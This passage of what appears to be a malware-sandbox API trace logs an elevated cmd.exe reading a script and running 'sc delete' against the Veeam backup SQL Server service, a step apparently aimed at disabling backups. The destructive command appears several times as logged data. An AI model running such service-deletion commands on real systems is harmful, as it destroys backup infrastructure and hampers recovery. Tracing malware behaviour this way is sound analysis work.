lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="2\ne\n") returned 1 [0075.581] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.581] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.581] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="0e\n") returned 1 [0075.582] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.582] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.582] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="1\n") returned 1 [0075.582] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.582] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.582] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0075.582] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.582] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.582] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0075.582] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.582] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.582] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0075.582] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.582] GetFileType (hFile=0xb8) returned 0x3 [0075.583] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.583] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.583] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.583] GetFileType (hFile=0x120) returned 0x3 [0075.583] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.583] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"MSSQL$VEEAMSQL2012\"\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"MSSQL$VEEAMSQL2012\"\n", lpUsedDefaultChar=0x0) returned 32 [0075.583] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x1f, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x1f, lpOverlapped=0x0) returned 1 [0075.583] GetProcessHeap () returned 0x240000 [0075.583] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0075.583] GetProcessHeap () returned 0x240000 [0075.583] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0075.583] GetProcessHeap () returned 0x240000 [0075.583] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0075.583] GetProcessHeap () returned 0x240000 [0075.583] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0075.583] GetProcessHeap () returned 0x240000 [0075.583] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4a) returned 0x2597e0 [0075.583] GetConsoleOutputCP () returned 0x1b5 [0075.584] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0075.584] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.584] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.584] GetProcessHeap () returned 0x240000 [0075.584] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0075.584] GetProcessHeap () returned 0x240000 [0075.584] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x50) returned 0x259840 [0075.584] GetProcessHeap () returned 0x240000 [0075.584] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c530 [0075.584] SetErrorMode (uMode=0x0) returned 0x1 [0075.584] SetErrorMode (uMode=0x1) returned 0x0 [0075.584] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c540, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0075.585] SetErrorMode (uMode=0x1) returned 0x1 [0075.585] GetProcessHeap () returned 0x240000 [0075.585] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c530, Size=0x62) returned 0x25c530 [0075.585] GetProcessHeap () returned 0x240000 [0075.585] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c530) returned 0x62 [0075.585] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0075.585] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0075.585] GetProcessHeap () returned 0x240000 [0075.585] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0075.585] GetProcessHeap () returned 0x240000 [0075.585] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0075.585] GetProcessHeap () returned 0x240000 [0075.585] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0075.585] GetProcessHeap () returned 0x240000 [0075.585] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0075.585] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0075.585] GetProcessHeap () returned 0x240000 [0075.585] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0075.585] GetProcessHeap () returned 0x240000 [0075.585] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0075.585] GetProcessHeap () returned 0x240000 [0075.585] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0075.585] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0075.586] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.586] GetLastError () returned 0x2 [0075.586] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.586] GetLastError () returned 0x2 [0075.586] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0075.586] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0075.586] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0075.587] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.587] GetLastError () returned 0x2 [0075.587] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0075.587] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0075.587] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0075.587] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0075.587] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.587] GetProcessHeap () returned 0x240000 [0075.587] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0075.587] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.588] GetProcessHeap () returned 0x240000 [0075.588] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xb6) returned 0x259180 [0075.588] GetProcessHeap () returned 0x240000 [0075.588] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xb6 [0075.588] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"MSSQL$VEEAMSQL2012\"") returned 1 [0075.588] GetProcessHeap () returned 0x240000 [0075.588] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0075.588] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0075.588] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0075.589] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0075.589] GetProcessHeap () returned 0x240000 [0075.589] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.589] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.590] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.590] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.590] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.590] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.590] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0075.590] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0075.590] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0075.590] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0075.590] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0075.590] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0075.590] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0075.590] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0075.590] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0075.590] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0075.590] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0075.590] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0075.590] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0075.590] GetProcessHeap () returned 0x240000 [0075.590] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0075.590] GetProcessHeap () returned 0x240000 [0075.590] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0075.590] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"MSSQL$VEEAMSQL2012\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"MSSQL$VEEAMSQL2012\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete \"MSSQL$VEEAMSQL2012\"", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0xb54, dwThreadId=0xb74)) returned 1 [0075.594] CloseHandle (hObject=0x50) returned 1 [0075.594] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0075.594] GetProcessHeap () returned 0x240000 [0075.594] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0075.594] GetEnvironmentStringsW () returned 0x25ba10* [0075.594] GetProcessHeap () returned 0x240000 [0075.594] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0075.594] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0075.595] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0075.595] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd7000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0075.595] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0075.690] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0075.690] CloseHandle (hObject=0x54) returned 1 [0075.690] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0075.691] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0075.691] GetProcessHeap () returned 0x240000 [0075.691] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0075.691] GetEnvironmentStringsW () returned 0x261b10* [0075.691] GetProcessHeap () returned 0x240000 [0075.691] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0075.691] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0075.691] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0075.691] GetProcessHeap () returned 0x240000 [0075.691] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0075.691] GetEnvironmentStringsW () returned 0x25ba10* [0075.691] GetProcessHeap () returned 0x240000 [0075.691] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0075.691] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0075.691] GetProcessHeap () returned 0x240000 [0075.691] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0075.691] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0075.691] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0075.693] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.693] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0075.693] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.693] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0075.694] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.694] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0075.694] GetConsoleOutputCP () returned 0x1b5 [0075.694] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0075.694] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.694] GetProcessHeap () returned 0x240000 [0075.694] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0075.694] GetProcessHeap () returned 0x240000 [0075.694] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0075.694] GetProcessHeap () returned 0x240000 [0075.695] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0075.695] GetProcessHeap () returned 0x240000 [0075.695] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c530 | out: hHeap=0x240000) returned 1 [0075.695] GetProcessHeap () returned 0x240000 [0075.695] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259840 | out: hHeap=0x240000) returned 1 [0075.695] GetProcessHeap () returned 0x240000 [0075.695] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0075.695] GetProcessHeap () returned 0x240000 [0075.695] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0075.695] GetProcessHeap () returned 0x240000 [0075.695] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0075.695] GetProcessHeap () returned 0x240000 [0075.695] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0075.695] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0075.695] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.695] GetFileType (hFile=0x120) returned 0x3 [0075.695] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.695] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0075.695] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0075.695] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0075.695] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0075.695] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0075.696] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0075.696] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.696] GetFileType (hFile=0x120) returned 0x3 [0075.696] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.696] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0075.696] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0075.696] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.696] GetFileType (hFile=0xb8) returned 0x3 [0075.696] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.696] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.696] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0075.696] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.696] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.696] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0075.696] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.696] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.697] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.697] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0075.697] _get_osfhandle (_FileHandle=0) 